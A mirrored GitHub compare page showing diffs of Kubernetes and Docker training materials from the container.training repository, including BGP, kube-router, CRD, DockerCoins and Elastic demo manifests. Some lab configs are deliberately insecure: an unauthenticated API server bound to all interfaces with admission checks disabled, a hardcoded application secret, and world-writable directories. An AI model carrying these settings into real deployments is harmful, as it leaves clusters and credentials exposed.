mirror of
https://github.com/jpetazzo/container.training.git
synced 2026-04-06 18:36:53 +00:00
Compare commits
15 Commits
gitpod
...
decembre20
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a4e21ffe4d | ||
|
|
ae140b24cb | ||
|
|
ab87de9813 | ||
|
|
53a416626e | ||
|
|
8bf71b956f | ||
|
|
2c445ca99b | ||
|
|
2ba244839a | ||
|
|
0b71bc8655 | ||
|
|
949fdd7791 | ||
|
|
5cf8b42fe9 | ||
|
|
781ac48c5c | ||
|
|
1cf3849bbd | ||
|
|
c77960d77b | ||
|
|
f01bc2a7a9 | ||
|
|
3eaa844c55 |
2
.gitignore
vendored
2
.gitignore
vendored
@@ -3,12 +3,10 @@
|
|||||||
*~
|
*~
|
||||||
prepare-vms/tags
|
prepare-vms/tags
|
||||||
prepare-vms/infra
|
prepare-vms/infra
|
||||||
prepare-vms/www
|
|
||||||
slides/*.yml.html
|
slides/*.yml.html
|
||||||
slides/autopilot/state.yaml
|
slides/autopilot/state.yaml
|
||||||
slides/index.html
|
slides/index.html
|
||||||
slides/past.html
|
slides/past.html
|
||||||
slides/slides.zip
|
|
||||||
node_modules
|
node_modules
|
||||||
|
|
||||||
### macOS ###
|
### macOS ###
|
||||||
|
|||||||
@@ -1 +0,0 @@
|
|||||||
image: jpetazzo/shpod
|
|
||||||
@@ -39,7 +39,7 @@ your own tutorials.
|
|||||||
All these materials have been gathered in a single repository
|
All these materials have been gathered in a single repository
|
||||||
because they have a few things in common:
|
because they have a few things in common:
|
||||||
|
|
||||||
- some [shared slides](slides/shared/) that are re-used
|
- some [common slides](slides/common/) that are re-used
|
||||||
(and updated) identically between different decks;
|
(and updated) identically between different decks;
|
||||||
- a [build system](slides/) generating HTML slides from
|
- a [build system](slides/) generating HTML slides from
|
||||||
Markdown source files;
|
Markdown source files;
|
||||||
@@ -199,7 +199,7 @@ this section is for you!
|
|||||||
locked-down computer, host firewall, etc.
|
locked-down computer, host firewall, etc.
|
||||||
- Horrible wifi, or ssh port TCP/22 not open on network! If wifi sucks you
|
- Horrible wifi, or ssh port TCP/22 not open on network! If wifi sucks you
|
||||||
can try using MOSH https://mosh.org which handles SSH over UDP. TMUX can also
|
can try using MOSH https://mosh.org which handles SSH over UDP. TMUX can also
|
||||||
prevent you from losing your place if you get disconnected from servers.
|
prevent you from loosing your place if you get disconnected from servers.
|
||||||
https://tmux.github.io
|
https://tmux.github.io
|
||||||
- Forget to print "cards" and cut them up for handing out IP's.
|
- Forget to print "cards" and cut them up for handing out IP's.
|
||||||
- Forget to have fun and focus on your students!
|
- Forget to have fun and focus on your students!
|
||||||
|
|||||||
@@ -1,9 +0,0 @@
|
|||||||
hostname frr
|
|
||||||
router bgp 64512
|
|
||||||
network 1.0.0.2/32
|
|
||||||
bgp log-neighbor-changes
|
|
||||||
neighbor kube peer-group
|
|
||||||
neighbor kube remote-as 64512
|
|
||||||
neighbor kube route-reflector-client
|
|
||||||
bgp listen range 0.0.0.0/0 peer-group kube
|
|
||||||
log stdout
|
|
||||||
@@ -1,2 +0,0 @@
|
|||||||
hostname frr
|
|
||||||
log stdout
|
|
||||||
@@ -1,34 +0,0 @@
|
|||||||
version: "3"
|
|
||||||
|
|
||||||
services:
|
|
||||||
bgpd:
|
|
||||||
image: ajones17/frr:662
|
|
||||||
volumes:
|
|
||||||
- ./conf:/etc/frr
|
|
||||||
- ./run:/var/run/frr
|
|
||||||
network_mode: host
|
|
||||||
entrypoint: /usr/lib/frr/bgpd -f /etc/frr/bgpd.conf --log=stdout --log-level=debug --no_kernel
|
|
||||||
restart: always
|
|
||||||
|
|
||||||
zebra:
|
|
||||||
image: ajones17/frr:662
|
|
||||||
volumes:
|
|
||||||
- ./conf:/etc/frr
|
|
||||||
- ./run:/var/run/frr
|
|
||||||
network_mode: host
|
|
||||||
entrypoint: /usr/lib/frr/zebra -f /etc/frr/zebra.conf --log=stdout --log-level=debug
|
|
||||||
restart: always
|
|
||||||
|
|
||||||
vtysh:
|
|
||||||
image: ajones17/frr:662
|
|
||||||
volumes:
|
|
||||||
- ./conf:/etc/frr
|
|
||||||
- ./run:/var/run/frr
|
|
||||||
network_mode: host
|
|
||||||
entrypoint: vtysh -c "show ip bgp"
|
|
||||||
|
|
||||||
chmod:
|
|
||||||
image: alpine
|
|
||||||
volumes:
|
|
||||||
- ./run:/var/run/frr
|
|
||||||
command: chmod 777 /var/run/frr
|
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
version: "3"
|
|
||||||
|
|
||||||
services:
|
|
||||||
|
|
||||||
pause:
|
|
||||||
ports:
|
|
||||||
- 8080:8080
|
|
||||||
image: k8s.gcr.io/pause
|
|
||||||
|
|
||||||
etcd:
|
|
||||||
network_mode: "service:pause"
|
|
||||||
image: k8s.gcr.io/etcd:3.4.3
|
|
||||||
command: etcd
|
|
||||||
|
|
||||||
kube-apiserver:
|
|
||||||
network_mode: "service:pause"
|
|
||||||
image: k8s.gcr.io/hyperkube:v1.17.2
|
|
||||||
command: kube-apiserver --etcd-servers http://127.0.0.1:2379 --address 0.0.0.0 --disable-admission-plugins=ServiceAccount --allow-privileged
|
|
||||||
|
|
||||||
kube-controller-manager:
|
|
||||||
network_mode: "service:pause"
|
|
||||||
image: k8s.gcr.io/hyperkube:v1.17.2
|
|
||||||
command: kube-controller-manager --master http://localhost:8080 --allocate-node-cidrs --cluster-cidr=10.CLUSTER.0.0/16
|
|
||||||
"Edit the CLUSTER placeholder first. Then, remove this line.":
|
|
||||||
|
|
||||||
kube-scheduler:
|
|
||||||
network_mode: "service:pause"
|
|
||||||
image: k8s.gcr.io/hyperkube:v1.17.2
|
|
||||||
command: kube-scheduler --master http://localhost:8080
|
|
||||||
@@ -1,128 +0,0 @@
|
|||||||
---
|
|
||||||
apiVersion: |+
|
|
||||||
|
|
||||||
|
|
||||||
Make sure you update the line with --master=http://X.X.X.X:8080 below.
|
|
||||||
Then remove this section from this YAML file and try again.
|
|
||||||
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: ConfigMap
|
|
||||||
metadata:
|
|
||||||
name: kube-router-cfg
|
|
||||||
namespace: kube-system
|
|
||||||
labels:
|
|
||||||
k8s-app: kube-router
|
|
||||||
data:
|
|
||||||
cni-conf.json: |
|
|
||||||
{
|
|
||||||
"cniVersion":"0.3.0",
|
|
||||||
"name":"mynet",
|
|
||||||
"plugins":[
|
|
||||||
{
|
|
||||||
"name":"kubernetes",
|
|
||||||
"type":"bridge",
|
|
||||||
"bridge":"kube-bridge",
|
|
||||||
"isDefaultGateway":true,
|
|
||||||
"ipam":{
|
|
||||||
"type":"host-local"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
---
|
|
||||||
apiVersion: apps/v1
|
|
||||||
kind: DaemonSet
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kube-router
|
|
||||||
name: kube-router
|
|
||||||
namespace: kube-system
|
|
||||||
spec:
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
k8s-app: kube-router
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kube-router
|
|
||||||
annotations:
|
|
||||||
scheduler.alpha.kubernetes.io/critical-pod: ''
|
|
||||||
spec:
|
|
||||||
serviceAccountName: kube-router
|
|
||||||
containers:
|
|
||||||
- name: kube-router
|
|
||||||
image: docker.io/cloudnativelabs/kube-router
|
|
||||||
imagePullPolicy: Always
|
|
||||||
args:
|
|
||||||
- "--run-router=true"
|
|
||||||
- "--run-firewall=true"
|
|
||||||
- "--run-service-proxy=true"
|
|
||||||
- "--master=http://X.X.X.X:8080"
|
|
||||||
env:
|
|
||||||
- name: NODE_NAME
|
|
||||||
valueFrom:
|
|
||||||
fieldRef:
|
|
||||||
fieldPath: spec.nodeName
|
|
||||||
- name: KUBE_ROUTER_CNI_CONF_FILE
|
|
||||||
value: /etc/cni/net.d/10-kuberouter.conflist
|
|
||||||
livenessProbe:
|
|
||||||
httpGet:
|
|
||||||
path: /healthz
|
|
||||||
port: 20244
|
|
||||||
initialDelaySeconds: 10
|
|
||||||
periodSeconds: 3
|
|
||||||
resources:
|
|
||||||
requests:
|
|
||||||
cpu: 250m
|
|
||||||
memory: 250Mi
|
|
||||||
securityContext:
|
|
||||||
privileged: true
|
|
||||||
volumeMounts:
|
|
||||||
- name: lib-modules
|
|
||||||
mountPath: /lib/modules
|
|
||||||
readOnly: true
|
|
||||||
- name: cni-conf-dir
|
|
||||||
mountPath: /etc/cni/net.d
|
|
||||||
initContainers:
|
|
||||||
- name: install-cni
|
|
||||||
image: busybox
|
|
||||||
imagePullPolicy: Always
|
|
||||||
command:
|
|
||||||
- /bin/sh
|
|
||||||
- -c
|
|
||||||
- set -e -x;
|
|
||||||
if [ ! -f /etc/cni/net.d/10-kuberouter.conflist ]; then
|
|
||||||
if [ -f /etc/cni/net.d/*.conf ]; then
|
|
||||||
rm -f /etc/cni/net.d/*.conf;
|
|
||||||
fi;
|
|
||||||
TMP=/etc/cni/net.d/.tmp-kuberouter-cfg;
|
|
||||||
cp /etc/kube-router/cni-conf.json ${TMP};
|
|
||||||
mv ${TMP} /etc/cni/net.d/10-kuberouter.conflist;
|
|
||||||
fi
|
|
||||||
volumeMounts:
|
|
||||||
- mountPath: /etc/cni/net.d
|
|
||||||
name: cni-conf-dir
|
|
||||||
- mountPath: /etc/kube-router
|
|
||||||
name: kube-router-cfg
|
|
||||||
hostNetwork: true
|
|
||||||
tolerations:
|
|
||||||
- key: CriticalAddonsOnly
|
|
||||||
operator: Exists
|
|
||||||
- effect: NoSchedule
|
|
||||||
key: node-role.kubernetes.io/master
|
|
||||||
operator: Exists
|
|
||||||
- effect: NoSchedule
|
|
||||||
key: node.kubernetes.io/not-ready
|
|
||||||
operator: Exists
|
|
||||||
volumes:
|
|
||||||
- name: lib-modules
|
|
||||||
hostPath:
|
|
||||||
path: /lib/modules
|
|
||||||
- name: cni-conf-dir
|
|
||||||
hostPath:
|
|
||||||
path: /etc/cni/net.d
|
|
||||||
- name: kube-router-cfg
|
|
||||||
configMap:
|
|
||||||
name: kube-router-cfg
|
|
||||||
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
version: "3"
|
|
||||||
|
|
||||||
services:
|
|
||||||
|
|
||||||
pause:
|
|
||||||
ports:
|
|
||||||
- 8080:8080
|
|
||||||
image: k8s.gcr.io/pause
|
|
||||||
|
|
||||||
etcd:
|
|
||||||
network_mode: "service:pause"
|
|
||||||
image: k8s.gcr.io/etcd:3.4.3
|
|
||||||
command: etcd
|
|
||||||
|
|
||||||
kube-apiserver:
|
|
||||||
network_mode: "service:pause"
|
|
||||||
image: k8s.gcr.io/hyperkube:v1.17.2
|
|
||||||
command: kube-apiserver --etcd-servers http://127.0.0.1:2379 --address 0.0.0.0 --disable-admission-plugins=ServiceAccount
|
|
||||||
|
|
||||||
kube-controller-manager:
|
|
||||||
network_mode: "service:pause"
|
|
||||||
image: k8s.gcr.io/hyperkube:v1.17.2
|
|
||||||
command: kube-controller-manager --master http://localhost:8080
|
|
||||||
|
|
||||||
kube-scheduler:
|
|
||||||
network_mode: "service:pause"
|
|
||||||
image: k8s.gcr.io/hyperkube:v1.17.2
|
|
||||||
command: kube-scheduler --master http://localhost:8080
|
|
||||||
@@ -2,14 +2,14 @@ version: "2"
|
|||||||
|
|
||||||
services:
|
services:
|
||||||
elasticsearch:
|
elasticsearch:
|
||||||
image: elasticsearch:2
|
image: elasticsearch
|
||||||
# If you need to access ES directly, just uncomment those lines.
|
# If you need to access ES directly, just uncomment those lines.
|
||||||
#ports:
|
#ports:
|
||||||
# - "9200:9200"
|
# - "9200:9200"
|
||||||
# - "9300:9300"
|
# - "9300:9300"
|
||||||
|
|
||||||
logstash:
|
logstash:
|
||||||
image: logstash:2
|
image: logstash
|
||||||
command: |
|
command: |
|
||||||
-e '
|
-e '
|
||||||
input {
|
input {
|
||||||
@@ -47,7 +47,7 @@ services:
|
|||||||
- "12201:12201/udp"
|
- "12201:12201/udp"
|
||||||
|
|
||||||
kibana:
|
kibana:
|
||||||
image: kibana:4
|
image: kibana
|
||||||
ports:
|
ports:
|
||||||
- "5601:5601"
|
- "5601:5601"
|
||||||
environment:
|
environment:
|
||||||
|
|||||||
@@ -1,21 +0,0 @@
|
|||||||
apiVersion: networking.k8s.io/v1beta1
|
|
||||||
kind: Ingress
|
|
||||||
metadata:
|
|
||||||
name: whatever
|
|
||||||
annotations:
|
|
||||||
traefik.ingress.kubernetes.io/service-weights: |
|
|
||||||
whatever: 90%
|
|
||||||
whatever-new: 10%
|
|
||||||
spec:
|
|
||||||
rules:
|
|
||||||
- host: whatever.A.B.C.D.nip.io
|
|
||||||
http:
|
|
||||||
paths:
|
|
||||||
- path: /
|
|
||||||
backend:
|
|
||||||
serviceName: whatever
|
|
||||||
servicePort: 80
|
|
||||||
- path: /
|
|
||||||
backend:
|
|
||||||
serviceName: whatever-new
|
|
||||||
servicePort: 80
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
apiVersion: apiextensions.k8s.io/v1beta1
|
|
||||||
kind: CustomResourceDefinition
|
|
||||||
metadata:
|
|
||||||
name: coffees.container.training
|
|
||||||
spec:
|
|
||||||
group: container.training
|
|
||||||
version: v1alpha1
|
|
||||||
scope: Namespaced
|
|
||||||
names:
|
|
||||||
plural: coffees
|
|
||||||
singular: coffee
|
|
||||||
kind: Coffee
|
|
||||||
shortNames:
|
|
||||||
- cof
|
|
||||||
|
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
apiVersion: apiextensions.k8s.io/v1
|
|
||||||
kind: CustomResourceDefinition
|
|
||||||
metadata:
|
|
||||||
name: coffees.container.training
|
|
||||||
spec:
|
|
||||||
group: container.training
|
|
||||||
scope: Namespaced
|
|
||||||
names:
|
|
||||||
plural: coffees
|
|
||||||
singular: coffee
|
|
||||||
kind: Coffee
|
|
||||||
shortNames:
|
|
||||||
- cof
|
|
||||||
versions:
|
|
||||||
- name: v1alpha1
|
|
||||||
served: true
|
|
||||||
storage: true
|
|
||||||
schema:
|
|
||||||
openAPIV3Schema:
|
|
||||||
properties:
|
|
||||||
spec:
|
|
||||||
required:
|
|
||||||
- taste
|
|
||||||
properties:
|
|
||||||
taste:
|
|
||||||
description: Subjective taste of that kind of coffee bean
|
|
||||||
type: string
|
|
||||||
additionalPrinterColumns:
|
|
||||||
- jsonPath: .spec.taste
|
|
||||||
description: Subjective taste of that kind of coffee bean
|
|
||||||
name: Taste
|
|
||||||
type: string
|
|
||||||
- jsonPath: .metadata.creationTimestamp
|
|
||||||
name: Age
|
|
||||||
type: date
|
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
---
|
|
||||||
kind: Coffee
|
|
||||||
apiVersion: container.training/v1alpha1
|
|
||||||
metadata:
|
|
||||||
name: arabica
|
|
||||||
spec:
|
|
||||||
taste: strong
|
|
||||||
---
|
|
||||||
kind: Coffee
|
|
||||||
apiVersion: container.training/v1alpha1
|
|
||||||
metadata:
|
|
||||||
name: robusta
|
|
||||||
spec:
|
|
||||||
taste: stronger
|
|
||||||
---
|
|
||||||
kind: Coffee
|
|
||||||
apiVersion: container.training/v1alpha1
|
|
||||||
metadata:
|
|
||||||
name: liberica
|
|
||||||
spec:
|
|
||||||
taste: smoky
|
|
||||||
---
|
|
||||||
kind: Coffee
|
|
||||||
apiVersion: container.training/v1alpha1
|
|
||||||
metadata:
|
|
||||||
name: excelsa
|
|
||||||
spec:
|
|
||||||
taste: fruity
|
|
||||||
|
|
||||||
@@ -2,6 +2,8 @@ apiVersion: rbac.authorization.k8s.io/v1
|
|||||||
kind: ClusterRole
|
kind: ClusterRole
|
||||||
metadata:
|
metadata:
|
||||||
name: consul
|
name: consul
|
||||||
|
labels:
|
||||||
|
app: consul
|
||||||
rules:
|
rules:
|
||||||
- apiGroups: [""]
|
- apiGroups: [""]
|
||||||
resources:
|
resources:
|
||||||
@@ -27,6 +29,8 @@ apiVersion: v1
|
|||||||
kind: ServiceAccount
|
kind: ServiceAccount
|
||||||
metadata:
|
metadata:
|
||||||
name: consul
|
name: consul
|
||||||
|
labels:
|
||||||
|
app: consul
|
||||||
---
|
---
|
||||||
apiVersion: v1
|
apiVersion: v1
|
||||||
kind: Service
|
kind: Service
|
||||||
@@ -68,7 +72,7 @@ spec:
|
|||||||
terminationGracePeriodSeconds: 10
|
terminationGracePeriodSeconds: 10
|
||||||
containers:
|
containers:
|
||||||
- name: consul
|
- name: consul
|
||||||
image: "consul:1.6"
|
image: "consul:1.4.0"
|
||||||
args:
|
args:
|
||||||
- "agent"
|
- "agent"
|
||||||
- "-bootstrap-expect=3"
|
- "-bootstrap-expect=3"
|
||||||
|
|||||||
@@ -1,160 +0,0 @@
|
|||||||
---
|
|
||||||
apiVersion: apps/v1
|
|
||||||
kind: Deployment
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: hasher
|
|
||||||
name: hasher
|
|
||||||
spec:
|
|
||||||
replicas: 1
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
app: hasher
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: hasher
|
|
||||||
spec:
|
|
||||||
containers:
|
|
||||||
- image: dockercoins/hasher:v0.1
|
|
||||||
name: hasher
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Service
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: hasher
|
|
||||||
name: hasher
|
|
||||||
spec:
|
|
||||||
ports:
|
|
||||||
- port: 80
|
|
||||||
protocol: TCP
|
|
||||||
targetPort: 80
|
|
||||||
selector:
|
|
||||||
app: hasher
|
|
||||||
type: ClusterIP
|
|
||||||
---
|
|
||||||
apiVersion: apps/v1
|
|
||||||
kind: Deployment
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: redis
|
|
||||||
name: redis
|
|
||||||
spec:
|
|
||||||
replicas: 1
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
app: redis
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: redis
|
|
||||||
spec:
|
|
||||||
containers:
|
|
||||||
- image: redis
|
|
||||||
name: redis
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Service
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: redis
|
|
||||||
name: redis
|
|
||||||
spec:
|
|
||||||
ports:
|
|
||||||
- port: 6379
|
|
||||||
protocol: TCP
|
|
||||||
targetPort: 6379
|
|
||||||
selector:
|
|
||||||
app: redis
|
|
||||||
type: ClusterIP
|
|
||||||
---
|
|
||||||
apiVersion: apps/v1
|
|
||||||
kind: Deployment
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: rng
|
|
||||||
name: rng
|
|
||||||
spec:
|
|
||||||
replicas: 1
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
app: rng
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: rng
|
|
||||||
spec:
|
|
||||||
containers:
|
|
||||||
- image: dockercoins/rng:v0.1
|
|
||||||
name: rng
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Service
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: rng
|
|
||||||
name: rng
|
|
||||||
spec:
|
|
||||||
ports:
|
|
||||||
- port: 80
|
|
||||||
protocol: TCP
|
|
||||||
targetPort: 80
|
|
||||||
selector:
|
|
||||||
app: rng
|
|
||||||
type: ClusterIP
|
|
||||||
---
|
|
||||||
apiVersion: apps/v1
|
|
||||||
kind: Deployment
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: webui
|
|
||||||
name: webui
|
|
||||||
spec:
|
|
||||||
replicas: 1
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
app: webui
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: webui
|
|
||||||
spec:
|
|
||||||
containers:
|
|
||||||
- image: dockercoins/webui:v0.1
|
|
||||||
name: webui
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Service
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: webui
|
|
||||||
name: webui
|
|
||||||
spec:
|
|
||||||
ports:
|
|
||||||
- port: 80
|
|
||||||
protocol: TCP
|
|
||||||
targetPort: 80
|
|
||||||
selector:
|
|
||||||
app: webui
|
|
||||||
type: NodePort
|
|
||||||
---
|
|
||||||
apiVersion: apps/v1
|
|
||||||
kind: Deployment
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: worker
|
|
||||||
name: worker
|
|
||||||
spec:
|
|
||||||
replicas: 1
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
app: worker
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: worker
|
|
||||||
spec:
|
|
||||||
containers:
|
|
||||||
- image: dockercoins/worker:v0.1
|
|
||||||
name: worker
|
|
||||||
@@ -1,69 +0,0 @@
|
|||||||
---
|
|
||||||
apiVersion: apps/v1
|
|
||||||
kind: Deployment
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: cerebro
|
|
||||||
name: cerebro
|
|
||||||
spec:
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
app: cerebro
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: cerebro
|
|
||||||
spec:
|
|
||||||
volumes:
|
|
||||||
- name: conf
|
|
||||||
configMap:
|
|
||||||
name: cerebro
|
|
||||||
containers:
|
|
||||||
- image: lmenezes/cerebro
|
|
||||||
name: cerebro
|
|
||||||
volumeMounts:
|
|
||||||
- name: conf
|
|
||||||
mountPath: /conf
|
|
||||||
args:
|
|
||||||
- -Dconfig.file=/conf/application.conf
|
|
||||||
env:
|
|
||||||
- name: ELASTICSEARCH_PASSWORD
|
|
||||||
valueFrom:
|
|
||||||
secretKeyRef:
|
|
||||||
name: demo-es-elastic-user
|
|
||||||
key: elastic
|
|
||||||
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Service
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: cerebro
|
|
||||||
name: cerebro
|
|
||||||
spec:
|
|
||||||
ports:
|
|
||||||
- port: 9000
|
|
||||||
protocol: TCP
|
|
||||||
targetPort: 9000
|
|
||||||
selector:
|
|
||||||
app: cerebro
|
|
||||||
type: NodePort
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: ConfigMap
|
|
||||||
metadata:
|
|
||||||
name: cerebro
|
|
||||||
data:
|
|
||||||
application.conf: |
|
|
||||||
secret = "ki:s:[[@=Ag?QI`W2jMwkY:eqvrJ]JqoJyi2axj3ZvOv^/KavOT4ViJSv?6YY4[N"
|
|
||||||
|
|
||||||
hosts = [
|
|
||||||
{
|
|
||||||
host = "http://demo-es-http.eck-demo.svc.cluster.local:9200"
|
|
||||||
name = "demo"
|
|
||||||
auth = {
|
|
||||||
username = "elastic"
|
|
||||||
password = ${?ELASTICSEARCH_PASSWORD}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
]
|
|
||||||
@@ -1,19 +0,0 @@
|
|||||||
apiVersion: elasticsearch.k8s.elastic.co/v1
|
|
||||||
kind: Elasticsearch
|
|
||||||
metadata:
|
|
||||||
name: demo
|
|
||||||
namespace: eck-demo
|
|
||||||
spec:
|
|
||||||
http:
|
|
||||||
tls:
|
|
||||||
selfSignedCertificate:
|
|
||||||
disabled: true
|
|
||||||
nodeSets:
|
|
||||||
- name: default
|
|
||||||
count: 1
|
|
||||||
config:
|
|
||||||
node.data: true
|
|
||||||
node.ingest: true
|
|
||||||
node.master: true
|
|
||||||
node.store.allow_mmap: false
|
|
||||||
version: 7.5.1
|
|
||||||
@@ -1,168 +0,0 @@
|
|||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: ConfigMap
|
|
||||||
metadata:
|
|
||||||
name: filebeat-config
|
|
||||||
namespace: eck-demo
|
|
||||||
labels:
|
|
||||||
k8s-app: filebeat
|
|
||||||
data:
|
|
||||||
filebeat.yml: |-
|
|
||||||
filebeat.inputs:
|
|
||||||
- type: container
|
|
||||||
paths:
|
|
||||||
- /var/log/containers/*.log
|
|
||||||
processors:
|
|
||||||
- add_kubernetes_metadata:
|
|
||||||
host: ${NODE_NAME}
|
|
||||||
matchers:
|
|
||||||
- logs_path:
|
|
||||||
logs_path: "/var/log/containers/"
|
|
||||||
|
|
||||||
# To enable hints based autodiscover, remove `filebeat.inputs` configuration and uncomment this:
|
|
||||||
#filebeat.autodiscover:
|
|
||||||
# providers:
|
|
||||||
# - type: kubernetes
|
|
||||||
# node: ${NODE_NAME}
|
|
||||||
# hints.enabled: true
|
|
||||||
# hints.default_config:
|
|
||||||
# type: container
|
|
||||||
# paths:
|
|
||||||
# - /var/log/containers/*${data.kubernetes.container.id}.log
|
|
||||||
|
|
||||||
processors:
|
|
||||||
- add_cloud_metadata:
|
|
||||||
- add_host_metadata:
|
|
||||||
|
|
||||||
cloud.id: ${ELASTIC_CLOUD_ID}
|
|
||||||
cloud.auth: ${ELASTIC_CLOUD_AUTH}
|
|
||||||
|
|
||||||
output.elasticsearch:
|
|
||||||
hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
|
|
||||||
username: ${ELASTICSEARCH_USERNAME}
|
|
||||||
password: ${ELASTICSEARCH_PASSWORD}
|
|
||||||
---
|
|
||||||
apiVersion: apps/v1
|
|
||||||
kind: DaemonSet
|
|
||||||
metadata:
|
|
||||||
name: filebeat
|
|
||||||
namespace: eck-demo
|
|
||||||
labels:
|
|
||||||
k8s-app: filebeat
|
|
||||||
spec:
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
k8s-app: filebeat
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: filebeat
|
|
||||||
spec:
|
|
||||||
serviceAccountName: filebeat
|
|
||||||
terminationGracePeriodSeconds: 30
|
|
||||||
hostNetwork: true
|
|
||||||
dnsPolicy: ClusterFirstWithHostNet
|
|
||||||
containers:
|
|
||||||
- name: filebeat
|
|
||||||
image: docker.elastic.co/beats/filebeat:7.5.1
|
|
||||||
args: [
|
|
||||||
"-c", "/etc/filebeat.yml",
|
|
||||||
"-e",
|
|
||||||
]
|
|
||||||
env:
|
|
||||||
- name: ELASTICSEARCH_HOST
|
|
||||||
value: demo-es-http
|
|
||||||
- name: ELASTICSEARCH_PORT
|
|
||||||
value: "9200"
|
|
||||||
- name: ELASTICSEARCH_USERNAME
|
|
||||||
value: elastic
|
|
||||||
- name: ELASTICSEARCH_PASSWORD
|
|
||||||
valueFrom:
|
|
||||||
secretKeyRef:
|
|
||||||
name: demo-es-elastic-user
|
|
||||||
key: elastic
|
|
||||||
- name: ELASTIC_CLOUD_ID
|
|
||||||
value:
|
|
||||||
- name: ELASTIC_CLOUD_AUTH
|
|
||||||
value:
|
|
||||||
- name: NODE_NAME
|
|
||||||
valueFrom:
|
|
||||||
fieldRef:
|
|
||||||
fieldPath: spec.nodeName
|
|
||||||
securityContext:
|
|
||||||
runAsUser: 0
|
|
||||||
# If using Red Hat OpenShift uncomment this:
|
|
||||||
#privileged: true
|
|
||||||
resources:
|
|
||||||
limits:
|
|
||||||
memory: 200Mi
|
|
||||||
requests:
|
|
||||||
cpu: 100m
|
|
||||||
memory: 100Mi
|
|
||||||
volumeMounts:
|
|
||||||
- name: config
|
|
||||||
mountPath: /etc/filebeat.yml
|
|
||||||
readOnly: true
|
|
||||||
subPath: filebeat.yml
|
|
||||||
- name: data
|
|
||||||
mountPath: /usr/share/filebeat/data
|
|
||||||
- name: varlibdockercontainers
|
|
||||||
mountPath: /var/lib/docker/containers
|
|
||||||
readOnly: true
|
|
||||||
- name: varlog
|
|
||||||
mountPath: /var/log
|
|
||||||
readOnly: true
|
|
||||||
volumes:
|
|
||||||
- name: config
|
|
||||||
configMap:
|
|
||||||
defaultMode: 0600
|
|
||||||
name: filebeat-config
|
|
||||||
- name: varlibdockercontainers
|
|
||||||
hostPath:
|
|
||||||
path: /var/lib/docker/containers
|
|
||||||
- name: varlog
|
|
||||||
hostPath:
|
|
||||||
path: /var/log
|
|
||||||
# data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
|
|
||||||
- name: data
|
|
||||||
hostPath:
|
|
||||||
path: /var/lib/filebeat-data
|
|
||||||
type: DirectoryOrCreate
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: ClusterRoleBinding
|
|
||||||
metadata:
|
|
||||||
name: filebeat
|
|
||||||
subjects:
|
|
||||||
- kind: ServiceAccount
|
|
||||||
name: filebeat
|
|
||||||
namespace: eck-demo
|
|
||||||
roleRef:
|
|
||||||
kind: ClusterRole
|
|
||||||
name: filebeat
|
|
||||||
apiGroup: rbac.authorization.k8s.io
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: ClusterRole
|
|
||||||
metadata:
|
|
||||||
name: filebeat
|
|
||||||
labels:
|
|
||||||
k8s-app: filebeat
|
|
||||||
rules:
|
|
||||||
- apiGroups: [""] # "" indicates the core API group
|
|
||||||
resources:
|
|
||||||
- namespaces
|
|
||||||
- pods
|
|
||||||
verbs:
|
|
||||||
- get
|
|
||||||
- watch
|
|
||||||
- list
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
